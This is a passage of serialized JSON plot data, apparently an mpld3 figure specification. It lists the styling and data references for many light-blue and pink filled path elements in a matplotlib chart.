1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data19\", \"id\": \"el126114423946128\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data20\", \"id\": \"el126114423906896\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data21\", \"id\": \"el126114423908560\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 2, \"data\": \"data20\", \"id\": \"el126114423725968\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data22\", \"id\": \"el126114423727632\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data23\", \"id\": \"el126114423728912\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data24\", \"id\": \"el126114423718736\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data25\", \"id\": \"el126114423720400\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data26\", \"id\": \"el126114423787664\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data27\", \"id\": \"el126114423789328\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data28\", \"id\": \"el126114423815632\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data29\", \"id\": \"el126114423817296\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data30\", \"id\": \"el126114423818960\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data31\", \"id\": \"el126114423878032\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data32\", \"id\": \"el126114423879696\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data33\", \"id\": \"el126114423672528\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data34\", \"id\": \"el126114423674192\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data35\", \"id\": \"el126114423675856\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data36\", \"id\": \"el126114423607952\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data37\", \"id\": \"el126114423609616\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data38\", \"id\": \"el126114423452240\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 2, \"data\": \"data17\", \"id\": \"el126114423452752\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data39\", \"id\": \"el126114423453648\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data40\", \"id\": \"el126114423889936\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data41\", \"id\": \"el126114423868752\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data42\", \"id\": \"el126114423510736\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data43\", \"id\": \"el126114423968080\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data44\", \"id\": \"el126114423677520\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data45\", \"id\": \"el126114423678992\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data46\", \"id\": \"el126114423616208\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data47\", \"id\": \"el126114423617872\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 2, \"data\": \"data02\", \"id\": \"el126114423549968\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data48\", \"id\": \"el126114423551632\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 2, \"data\": \"data01\", \"id\": \"el126114423552912\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data49\", \"id\": \"el126114423477200\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data50\", \"id\": \"el126114423478864\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data51\", \"id\": \"el126114423472400\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data52\", \"id\": \"el126114423474064\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data53\", \"id\": \"el126114423467600\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 2, \"data\": \"data52\", \"id\": \"el126114423468880\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data54\", \"id\": \"el126114423470544\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 2, \"data\": \"data53\", \"id\": \"el126114423697552\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 2, \"data\": \"data54\", \"id\": \"el126114423698832\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 3, \"data\": \"data53\", \"id\": \"el126114423700112\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 3, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data01\", \"id\": \"el126114423681424\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 3, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data02\", \"id\": \"el126114423683088\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data03\", \"id\": \"el126114423557840\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data04\", \"id\": \"el126114423559504\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data05\", \"id\": \"el126114423561168\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data06\", \"id\": \"el126114423624336\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data07\", \"id\": \"el126114423626000\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data08\", \"id\": \"el126114423685072\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data09\", \"id\": \"el126114423686736\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data10\", \"id\": \"el126114423688016\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data11\", \"id\": \"el126114425013136\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data12\", \"id\": \"el126114425014800\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data13\", \"id\": \"el126114425024720\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data14\", \"id\": \"el126114425026384\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data15\", \"id\": \"el126114425056784\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data16\", \"id\": \"el126114425058448\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data17\", \"id\": \"el126114425060112\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data18\", \"id\": \"el126114425074128\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data19\", \"id\": \"el126114425075792\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 3, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data20\", \"id\": \"el126114425085712\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data21\", \"id\": \"el126114425087376\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 4, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 2, \"data\": \"data20\", \"id\": \"el126114425088656\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data22\", \"id\": \"el126114425098960\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data23\", \"id\": \"el126114425100624\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 3, \"data\": \"data18\", \"id\": \"el126114425118736\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data25\", \"id\": \"el126114425120400\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data26\", \"id\": \"el126114425121680\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data27\", \"id\": \"el126114425131984\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data28\", \"id\": \"el126114425133648\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data29\", \"id\": \"el126114425147664\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data30\", \"id\": \"el126114425149328\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 3, \"data\": \"data09\", \"id\": \"el126114425159248\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data32\", \"id\": \"el126114425160912\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data33\", \"id\": \"el126114425162576\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data34\", \"id\": \"el126114425180688\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 3, \"data\": \"data05\", \"id\": \"el126114425182352\"}, {\"edgecolor\": 